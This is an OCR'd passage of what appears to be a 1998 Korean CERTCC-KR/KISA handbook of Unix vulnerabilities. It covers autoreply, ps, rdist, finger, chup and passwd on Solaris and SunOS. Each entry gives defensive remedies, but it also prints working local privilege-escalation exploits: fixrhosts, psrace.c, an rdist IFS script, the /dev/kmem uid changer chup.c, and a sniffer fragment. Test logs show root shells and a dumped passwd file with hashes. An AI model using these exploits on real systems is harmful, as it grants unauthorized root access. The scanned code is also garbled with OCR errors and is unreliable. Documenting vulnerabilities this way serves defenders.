Page 132: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

si.ic_cmd = NIOCSCHUNK;

si.ic_len = sizeof(chunksize);

si.ic_dp = (char *)&chunksize;

if(ioctl(if_fd, l_STR, (char *)&si) <0)

Pexit(1,"Eth: ioctl (l_STR: NIOCSCHUNK)");

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));

ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '₩0';

si.ic_cmd = NIOCBIND;

si.ic_len = sizeof(IFR);

si.ic_dp = (char *)&IFR;

if(ioctl(if_fd, l_STR, (char *)&si) <0)

Pexit(1,"Eth: ioctl (l_STR: NIOCBIND)");

si.ic_cmd = NIOCSFLAGS;

si.ic_len = sizeof(if_flags);

si.ic_dp = (char *)&if_flags;

if(ioctl(if_fd, l_STR, (char *)&si) <0)

Pexit(1,"Eth: ioctl (l_STR: NIOCSFLAGS)");

}

while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {

register char *bp = buf,

*bufstop = (buf + cc);

while (bp < bufstop) {

register char *cp = bp;

register struct nit_bufhdr *hdrp;

hdrp = (struct nit_bufhdr *)cp;

cp += sizeof(struct nit_bufhdr);

bp += hdrp->nhb_totlen;

filer(cp, (u_long)hdrp->nhb_msglen);

}

}

Pexit((-1),"Eth: read");

}

/* Yo Author ize your proogie,generate your own password and uncomment

here */

/* #define AUTHPASSWD "EloiZgZejWyms"

Page 133: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

void getauth()

{ char *buf,*getpass(),*crypt();

char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);

sprintf(prmpt, "(%s)UP? ",ProgName);

buf=getpass(prmpt);

if(strcmp(pwd,crypt(buf,pwd)))

exit(1);

}

*/

void main(argc, argv)

int argc;

char **argv;

{

char cbuf[BUFSIZ];

struct ifconf ifc;

int s,

ac=1,

backg=0;

ProgName=argv[0];

/* getauth(); */

LOG=NULL;

device=NULL;

while((ac<argc) && (argv[ac][0] = '-')){

register char ch = argv[ac++][1];

switch(toupper(ch)){

case 'I': device=argv[ac++];

break;

case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))

Zexit(1, "Output file cant be opened₩n");

break;

case 'B': backg=1;

break;

case 'D': debug=1;

break;

Page 134: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

default : fprintf(ERR,

"Usage: %s [-b] [-d] [-i interface] [-f file]₩n",

ProgName);

exit(1);

}

}

if(!device) {

if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)

Pexit(1,"Eth: socket");

ifc.ifc_len = sizeof(chuf);

ifc.ifc_buf + cbuf;

if(ioctl(s, SLOCGLFCONF, (char *)&ifc) <0)

Pexit(1,"Eth: ioctl");

close(s);

device = ifc.ifc_req->ifr_name;

}

fprintf(ERR, "Using logical device %s [%s]₩n",device,NIT_DEV);

fprintf(ERR, "Output to %s.%s%s",(LOG)?LogName:"stdout",

(debug)?" (debug)":"",(backg)?" Backgronding ":"₩n");

if(!LOG)

LOG=stout;

signal(SIGINT, death);

signal(SIGTERM, death);

signal(SIGKILL, death);

signal(SIGQUIT, death);

if(backg && debug) {

fprintf(ERR, "[Cannot bg with debug on]₩n");

backg=0;

}

if(backg) {

register int s;

Page 135: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if((s=fork())>0) {

fprintf(ERR, "[pid %d]₩n",s);

exit(0);

} eles if(s<0)

Pexit(1, "fork");

if((s=open("/dev/tty",0_RDWR))>0 ){

ioctl(s,TIOCNOTTY,(char *)NULL);

close(s);

}

}

fprintf(LOG, "₩nLog started at => %s [pid %d]₩n",NOWtm(),getpid());

fflush(LOG);

do_it();

}

Page 136: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

autoreply-Solaris-임시파일

autoreply-Solaris-temp_file

Page 137: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

autoreply-Solaris-temp_file

autoreply-Solaris-임시파일

문서번호

KH98-009

문서제목

autoreply-Solaris-임시파일 (autoreply-Solaris-temp_file)

관련 응용프로그램

autoreply

관련 운영체제

Solaris 2.x

취약점 분석

취약점 이해

autoreply는 ELM 패키지에 포함된 프로그램으로 이것을 사용하면 메일이 도착될 때마다

메일을 보낸 사람에게 메시지를 자동으로 보낼 수 있다. autoreply는 수행되는 동안 루트

소유의 임시파일을 작성하는데 임시파일에 대한 링크여부등에 대해 적절히 검사하지 않기

때문에 이를 이용하여 파일보드가 666인 루트 소유의 파일을 생성시킬 수 있으며, 사용자

가 원하는 sodyddf 임의의 파일에 넣을 수도 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- 경쟁조건을 이용하여 임시파일을 변경시키고자 하는 파일에 링크시키고 autoreply를 이

용해 원하는 내용을 삽입시키도록 한다.

- fixrhosts라는 공격용 프로그램이 공개되어 있다. 이것을 이용하면 이 임시파일을 루트

의 .rhosts 파일에 링크시켜 자신이 원하는 데이터를 삽입시킬 수 있다.

Page 138: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹 소스 프로그램

#!/bin/sh

#

#fixrhosts rhosts-file user machine

#

if [ $# -ne 3 ]; then

echo "Usage: 'basename $0' rhosts-file user machine"

exit 1

fi

RHOSTS="$1"

USERNAME="$2"

MACHINE="$3"

cd $HOME

echo x > "a

$MACHINE $USERNAME

b"

umask 022

autoreply "a

$MACHINE $USERNAME

b"

cat >tmp/.rhosts.sh.$$ << 'EOF'

in -s $1 'echo $$ | awk '{printf "/tmp/arep.%06d", $1}'

exec autoreply off

exit 0

EOF

/bin/sh /tmp/.rhosts.sh.$$ $RHOSTS

rm -f /tmp/.rhosts.sh.$$ "a

$MACHINE $USERNAME

b"

exit 0

해킹시험 결과

www% ./fixrhosts ~/root/.rhosts kadosu localhost

You've been added to the autoreply system.

You've been removed from the autoreply table.

www%

Page 139: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

www% more ~/root/.rhosts

localhost kadosu 273414000

b 7577 2736414000

www% ls -ld /.rhosts

-rw-r-r- 1 root root 47 12월 16일 21:54 /.rhosts

www% whoami

kadosu

www%

해킹흔적 확인방법

- /etc/autoreply.data를 살펴보고 불법적인 사용여부를 확인할 수 있다.

대응방법

- 시스템에서 autoreply를 제거한다. Elm 그륩에서는 autoreply를 더 이상 패키지에 포함

시켜 제공하지 않고 있다.

Page 140: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Ps-Solaris-임시파일

Ps-Solaris-temp_file

Page 141: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Ps-Solaris-temp_file

Ps-Solaris-임시파일

문서번호

KH98-010

문서제목

ps-Solaris-임시파일 (ps-Solaris-temp_file)

관련 응용프로그램

/bin/ps

관련 운영체제

Solaris 2.x (2.4 이전 버전)

취약점 분석

취약점 이해

ps는 시스템내 프로세스들의 상태를 보여주는 프로그램인데, setuid 루트로 설정되어 있으

며 실행도중 /tmp 디렉토리에 ps_data라는 임시파일을 생성한다. /tmp 디렉토리의 퍼미션

에 sticky 비트가 설정되어있지 않을 경우 이 파일을 지운 후 다른 파일을 링크시켜 소유자

가 root인 setuid 파일을 작성할 수 있게 된다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- /tmp 디렉토리의 퍼미션에 sticky 비트가 설정되어있지 않을 겨우 psrace란 공격용 프로

그램을 이용하여 ps가 생성한 임시파일을 지운 후, 미리 준비해둔 쉘 프로그램을 얻을 수

있게 된다.

해킹 소스 프로그램

- 첨부

해킹시험 결과

cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell

%/bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &

%./psrace $HOME/rootshell

Page 142: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Be patient, this could take awhile.

Starting the race .. ps: rename("/tmp/ps.a000pP","/tmp/ps_data") failed,

No such file or directory

ps: rename("/tmp/ps.a0013v","/tmp/ps_data") failed, no such file or

directory

......

We Won!

%ls -ld /user/kadosu/rootshell

-rwsr-xr-x 1 root staff 180856 Dec 16 22:44

/user/kadosu/rootshell*

해킹흔적 확인방법

- /tmp 디렉토리내에 많은 링크된 파일들을 발견 할 수 있다.

대응방법

- /tmp 디렉토리내에 stiky 비트를 설정하여 자기 소유의 파일이 아니면 지울 수 없게 한

다. 루트 권한으로 다음 명령을 수행한다.

chmod +t /tmp

Page 143: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*

* psrace.c

*

* Copyright, 1995, by Scott Chasin ([email protected])

*

* This material is copyrighted by Scott Chasin, 1995. The

* usual standard disclaimer applies, especially the fact that the

* author is not liable for any damages caused by direct or indirect

* use of the informationality or functionality provied by this program.

*

* [ For Solaris2.x only ]

*

* After compiling psrace, run the following commands;

*

* cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell

* /bin/sh -c 'while'bin/true ; do ps >/dev/null ; done' &

* ./psrace $HOME/rootshell

*

* (lgnore any errors you get from ps)

* You may have to wait a few minutes before the race is won.

*/

#include <stdio.h>

#include <sys/types.h>

#include <dirent.h>

#include <sys/stat.h>

main (argc, argv)

int argc;

char **argv;

{

Page 144: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int count = 0;

DIR *dirp;

struct dirent *dp;

struct stat fileinfo;

char targetfile [85], name [85];

if (argc !=2)

{

printf ("Usage: psrace [/full/path/to/target/filename]₩n");

exit (1);

}

if (access (argv[1],0))

{

printf ("psrace: %s does not exist.₩n", argv[1]);

exit (1);

}

strcpy (targetfile, argv[1]);

stat ("/tmp", &fileinfo);

if (fileinfo.st_mode & S_ISVTX)

{

printf ("psrace: Congratulations! You already have the fix in

place.₩n");

printf ("psrace: (/tmp has the sticky-bit set)|n");

exit (1);

}

printf ("Be patient, this could take awhile.₩n");

printf ("Starting the race ..");

fflush (stdcut);

dirp = opendir ("/tep");

for (;;)

{

unlink ("/tmp/ps_data");

Page 145: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

while ((dp = readdir (dirp)) !=NULL)

{

if (! strncmp (dp->d_name, "ps.", 3))

{

sprintf (name, "/tmp/%s", dp->d_name);

unlink (name);

symlink (targetfile, name);

if (stat (targetfile, &fileinfo)>= 0)

if (fileinfo.st_uid == 0)

{

printf ("We WON!₩n");

closedir (dirp);

clean_up ();

}

}

}

rewinddir (dirp);

}

}

clean_up ()

{

DIR *dirp;

struct dirent *dp;

char name [25];

dirp = opendir ("/tmp");

while ((dp = readdir (dirp)) != NULL)

if (!strncmp (dp->d_name, "jps.", 3))

{

sprintf (name, "/tmp/%s", dp->d_name);

unlink (name);

}

closedir (dirp);

Page 146: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

unlink ("/tmp/ps_data");

exit (0);

}

Page 147: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rdist-*-입력해석

rdist-*-parse

Page 148: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rdist-*-parse

rdist-*-입력해석

문서번호

KH98-011

문서제목

rdist-*-입력해석 (rdist-*-parse)

관련 응용프로그램

/usr/ucb/rdist

관련 운영체제

rdist를 제공하는 모든 유닉스 운영체제

Cray UNICOS 6.0/6.E/6.1

NeXT NeXTstep Release 2.x

SGI IRIX 3.3/4.0/4.0.1

Sun SunOS 4.0.3/4.1/4.1.1

취약점 분석

취약점 이해

- rdist는 다수의 호스트에 대한 소프트웨어 관리를 위해 유용한 프로그램으로서 루트

(root) 권한으로 sendmail을 실행시키기 위해 popen을 사용한다. 그러나 이 프로그램의 문

제점으로 인해 일반 프로그램도 루트권한으로 실행시킬 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- IFS를 ‘/’로 변경시켜 루트권한으로 임의의 프로그램을 수행시킬 수 있다.

Page 149: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹 소스 프로그램

#!/bin/sh

cat <<_EOF_> distfile

wOoTwOOT -> localhost

install /tmp/1 ;

_EOF_

cat <<_EOF_> usr.c

main()

{

setuid(0)

chown("/tmp/.sushi", 0, 0);

chmod("/tmp/.sushi", 04755);

exit(0);

}

_EOF_

cp /bin/sh /tmp/.sushi

cc -0 usr usr.c

PATH=.:$PATH

IFS=‘/’

export PATH IFS

rdist

rm -f usr usr.c distfile

해킹시험 결과

kisa% Sun-rdist-p_sh.asc

updating host localhost

rdist: wOoTwOOT: No such file or directory

notify @localhost ( user )

kisa% ls -al /tmp

total 2586

drwxrwxrwx 5 root 512 Dec 17 19:42

drwxr-xr-x 16 root 1024 Dec 14 20:42

-rw-r--r-- 1 root 0 Dec 6 15:32 .FM180

drwxrwxrwx 2 root 512 Dec 12 19:32 .NeWS-unix

drwxrwxrwx 2 root 512 Dec 12 19:32 .X11-unix

-rwxr-xr-x 1 kadosu 106496 Dec 17 19:42 .sushi

srwxrwxrwx 1 root 0 Dec 12 19:32 .sv_xv_sel_svc

-rw------- 1 root 7986 Dec 14 21:10 Text171.0

-rw------- 1 root 60512 Dec 16 23:19 Text174.0

Page 150: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

-rw-rw-rw- 1 root 8363 Dec 14 03:55 instrs

-rw-r--r-- 1 root 215040 Dec 14 10:29 nc110.tar

-rw------ 1 root 0 Dec 12 19:32 .tty.txt.a00171

-rw------ 1 root 0 Dec 12 19:32 .tty.txt.a00174

drwxr-xr-x 4 root 512 Dec 5 22:13 twtest

-rwxr-xr-x 1 kadosu 2208265 Dec 17 19:34 .werdfile

kisa%

해킹흔적 확인방법

- IFS 환경변수가 ‘/’로 설정되어 있는지 확인한다.

대응방법

패치 설치

- 다음과 같은 패치를 설치한다

Cray Research, lnc. UNLCOS 6.0/6.E/6.1 Field Alert #132 SPR 47600

NeXT Computer, lnc NeXTstep Release 2.x

Silicon Graphics IRIX 3.34/4.0/4.0.1

Sun Microsystems, lnc. SunOs 4.0.3/4.1/4.1.1 Patch ID 100383-02

임시 조치

- rdist에서 setuid bit를 삭제한다. 루트 권한으로 다음 명령을 수행시킨다.

# chmod 711 /usr/ucb/rdist

Page 151: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

finger_redirect-*-config

finger_redirect-*-구성

문서번호

KH98-012

문서제목

finger_redirect-*-구성 (finger_redirect-*-config)

관련 응용프로그램

/user/bin/finger

관련 운영체제

Sun SunOS 4.1x

취약점 분석

취약점 이해

대부분의 finger 프로그램은 다른 호스트로의 전환(redirection)을 지원하므로 이를 이용하

여 자신의 주소를 노출 시키지 않고 다른 호스트의 사용자 정보를 얻을 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

해킹시험 결과

kitty# finger @[email protected]

flat에서는 www.certcc.or.kr에서온 finger 메시지만 보인다.

해킹흔적 확인방법

대응방법

패치설치

-redirection을 지원하지 않는 finger(GUN finger)를 설치한다.

Page 152: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

임시조치

-반드시 필요하지 않다면 finger 서비스를 제공하지 않는다. inetd.conf 파일에서 finger 관

련 행을 # 으로 막는다.

Page 153: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

chup-SunOS-hack_tool

chup-SunOS-해킹도구

문서번호

KH98-013

문서제목

chup-SunOS-해킹도구 (chup-SunOS-hack_tool)

관련 응용프로그램

chup.c

관련 운영체제

Sun SunOS 4.1x (기타 4.2/4.3 BSD 기반의 모든 유닉스 운영체제)

취약점 분석

취약점 이해

/dev/kmem에 대한 퍼미션이 일반 사용자에게 쓰기 권한을 허용할 경우, 커널 메모리를 직

접 변경하여 사용자 ID를 임의의 값으로 바꿀 수 있다.

취약점 확인 방법

- /dev/kmem의 접근권한을 점검한다.

해킹수법 분석

해킹수법 이해

- chup 프로그램은 해킹도구로서 /dev/kmem에 대한 퍼미션이 일반 사용자에게 쓰기 권한

을 허용할 경우, 커널 메모리의 내용을 직접 변경하여 일반 사용자의 uid를 루트의 uid 즉,

0으로 바꿔준다.

해킹소스 프로그램

- 첨부

Page 154: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

kisa% id

uid=100(kadous) gid=100 groups=100

kisa% chup

usage:

chup <pid> [uid [euid]]

kisa% csh

kisa% ps

PID TT STAT TIME COMMAND

15738 p1 lw 0:00 -u ()

16271 p2 lw 0:00 -csh ()

16285 p2 lw 0:00 -sh ()

16294 p3 S 0:00 -csh ()

16302 p3 S 0:00 -sh ()

16303 p3 R 0:00 ps

kisa% chup 16302 0 0

stopped (signal)

kisa% 1 16302 (uid 100, suid 100) uid 100 euid 100

set to 0 0

kisa% id

Reset tty pgrp from 16302 to 16294

uid=0(root) gid=100 groups=100

[1] + Hnagup csh

kisa% id

uid=0(root) gid=100 groups=100

kisa%

해킹흔적 확인방법

대응방법

- /dev/kmem(커널 메모리의 디바이스 파일)의 접근권한을 root로만 제한한다.

Page 155: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*

* chup.c - change uid of a running process.

* should work on any 4.2/4.3BSD based kernel

* written by Avalon ([email protected]), 22/12/93.

Ported to SunOS by x0d, me thinks.

*/

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

#include <sys/param.h>

#define KERNEL

#include <sys/file.h>

#undef KERNEL

#include <nlist.h>

#include <sys/types.h>

#include <sys/user.h>

#include <sys/proc.h>

#include <sys/ucred.h>

/* #include <sys/processflags.h> /**/

#ifndef offsetof

#define offsetof(t,m) (int)((&((t *)OL)->m))

#endif

#define DEVKEM "/home/new-kmem"

struct nlist names[] = {

{ "_allproc", 0, 0, 0, 0},

{ (char *)NULL, 0, 0, 0, 0 }

};

static int kfd = -1, pid = -1, uid = -1, euid = -1, debug = 0;

Page 156: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

void fatal(status, msg)

int status;

char *msg;

{

perror(msg);

exit(status);

}

static int lock_on() {

return 0;

}

static int lock_off() {

return 0;

}

int kopen() {

return (kfd = open(DEVKMEM, O_RDWR));

}

void kread(buf, pos, n)

char *buf;

off_t pos;

int n;

{

if (!n) return;

if (debug) printf("read %d @%#x to %#x on %d₩n", n, pos, buf, kfd);

if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(r)lseek");

if (read(kfd, buf, n) != n) fatal(-1. "kread");

}

int kwrite(buf, pos, size)

char *buf;

u_long pos, size;

{

if (|seek(kfd, pos, 0) == -1) fatal(-1, "k(w)|seek");

if (debug) printf("write %d to %#x from %#x on %d₩n", size, pos, buf, kfd);

if (write(kfd, buf, size) == -1 fatal(-1, "kwrite");

return 0;

}

Page 157: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int change_proc() {

register int i ;

int np ;

struct proc p, *next ;

struct ucred ucr;

if (nlist("/vmunix", names) == -1) fatal(-1, "nlist");

if (kopen() == -1) fatal(-1, DEVKMEM);

if (lock_on() == -1) return -1;

if (names[0].n_value == 0) fatal(-1, "no allproc");

kill(pid, SIGSTOP);

kread((char *)&next, names[0].n_value, sizeof(struct proc *);

/*walk the linked list */

for ( i =0; next; i++) {

kread((char *)&p, (char *)next, sizeof(p));

next = p.p_nxt;

if (p.p_pid == pid) {

if(!p.p_cred) fatal(-1, "no credentials with this process!);

kread((char *)&ucr, (char *)p.p_cred, sizeof(ucr));

printf("%d %d (uid %d, suid %d) uid %d euid %d₩n", i, p.p_pid, p.p_uid, p.p_suid,

ucr. cr_ruid, ucr.cr_uid);

if(uid ! = -1) {

ucr.cr_ruid = uid ;

kwrite((char *)&ucr + offsetof(struct ucred, cr_ruid),(char *)p.p_cred +

offsetof(struct ucred, cr_ruid), sizeof(ucr.cr_ruid));

}

if(euid != -1) {

ucr.cr_uid = euid ;

kwrite((char *)&ucr + offsetof(struct ucred, cr_uid), (char *)p.p_cred + offset(struct

ucred, cr_uid), sizeof(ucr.cr_uid));

}

printf("set to %d %d₩n",uid, euid);

break;

}

}

kill(pid, SIGCONT);

if (!next) (void) fprintf(stderr, "process %d not found₩n", pid);

/* we're not going through that again :)

else {

Page 158: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

kread((char *)p, (char *)pt + i * sizeof(*p), sizeof(*p));

kread((char *)&pcr, (char *)p->p_cred, sizeof(pcr));

if(pcr.pc_ucred != NOCRED) kread((char *)&ucr, (char *)pcr.pc_ucred, sizeof(ucr)):

(void) printf("%d %d uid %d euid %d₩n", i, p->p_pid, pcr.p_ruid, (pcr.pc_ucred !=

NOCRED)? ucr.cr_uid : pcr.p_ruid);

}

*/

lock_off();

}

void printusage(name)

char *name;

{

(void) fprintf(stderr, "usage : ₩n%s <pid> [uid [euid]]₩n", name);

}

int do_args(argc, argv)

int argc;

char *argv[];

{

if (argv[1] && !strcmp(argv[1], "-d")) argv++, argc--, drbug = 1;

if (argc == 1) {

printusage(argv[0]);

return -1;

}

if (kill(pid = atoi(argv[1]), 0 ) == -1) {

perror(argv[0]);

return -1 ;

}

if (argc > 2) {

uid = atoi(Argv[2]);

if (argc > 3) euid = atoi(argv[3]);

}

return 0;

}

main(argc, argv)

int argc;

char *argv[];

{

Page 159: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(do_args(argc, argv)) exit(1);

return change_proc();

}

Page 160: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

passwd-SunOS-temp_file

passwd-SunOS-임시파일

문서번호

KH98-014

문서제목

passwd-SunOS-임시파일 (passwd-SunOS-temp_file)

관련 응용프로그램

/bin/passwd

관련 운영체제

Sun SunOS 4.1.x

취약점 분석

취약점 이해

-passwd 프로그램은 사용자의 패스워드를 변경시키기 위해 사용되는 프로그램으로서 실행

중 루트(root)권한으로 /etc/ptmp란 임시파일을 만들어 변경된 내용을 저장한 뒤 etc/ptmp

를 /etc/passwd로 복사하고나서 /etc/ptmp를 지운다. 또한 passwd 프로그램의 -F 옵션은

특정 파일을 패스워드 파일로 사용할 수 있게 한다.

취약점 확인 방법

해킹 수법 분석

해킹수법 이해

공격자는 passwd 프로그램이 작성하는 임시파일을 변경시키고자하는 파일에 링크시킨다

이때 passwd의 -F 옵션을 이용하여 변경시킬 내용을 포함하는 파일을 패스워드 파일로 사

용하도록 한다.

해킹 소스 프로그램

- 첨부

Page 161: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

kisa% whoami

kadosu

kisa% paswdsc.sh root

Wait until told you see "Enter your password now!"

Changing password for kadosu on kisa.

Old password:

New password: Enter your password now!

Retype new password:

# whoami

root

#

--------------------------------------------------------------------

kisa# more /.rhosts

Page 162: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

localhost kadosu : : : : : :

root:PG/Hlit6vhwak:0:1:Operator:/:/bin/csh

nobody:*:65534:65534::/:

daemon:*:1:1::/:

sys:*2:2::/:/bin/csh

bin:*:3:3::/bin

uucp:*:4:8::/var/spool/uucppublic:

news:*:6:6::/var/spool/news:/bin/csh

ingres:*:7:7::/usr/ingres:/bin/csh

audit:*:9:9::/etc/security/audit:/bin/csh

sync::1:1:/:/bin/sync

hwlee:dThS5gPiEcORs:101:100::/user/hwlee:/bin/csh

kadosu:RTOmJlzc.XHYM:100:100::/user/kadosu:/bin/csh

sysdiag:*:0:1:Old System

Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag

Sundiag:*:0:1:System

Diagnostic:/usr/diag/Sundiag:/usr/diag/Sundiag/Sundiag

+::0:0:::

root:PG/Hlit6vhwak:0:1:Operator:/:/bin/csh

nobody:*:65534:65534::/:

daemon:*:1:1::/:

sys:*:2:2::/:/bin/csh

bin:*:3:3::/bin

uucp:*4:8::/var/spool/uucppublic:

news:*6:6::/var/spool/news:/bin/csh

ingres:*:7:7::/usr/ingres:/bin/csh

audit:*:9:9::/etc/security/audit:/bin/csh

sync::1:1::/:/bin/sync

hwlee:dThS5gPiEcORs:101:100::/user/hwlee:/bin/csh

kadosu:RTOmJlzc.XHYM:100:100::/user/kadosu:/bin/csh

sysdiag:*:0:1:Old System

Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag

Sundiag:*:0:1:System

Diagnostic:/usr/diag/Sundiag:/usr/diag/Sundiag/Sundiag

+::0:0::

root:PG/Hlit6vhwak:0:1:Operator:/:/bin/csh

--More--(3%)

Page 163: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

- 이 프로그램의 수행은 /tmp에서 여러번 링크를 시도했던 흔적을 남긴다.

대응방법

패치 설치

- 패치를 설치한다.

임시 조치

- /etc/passwd 프로그램에서 -F 옵션을 제거한다.

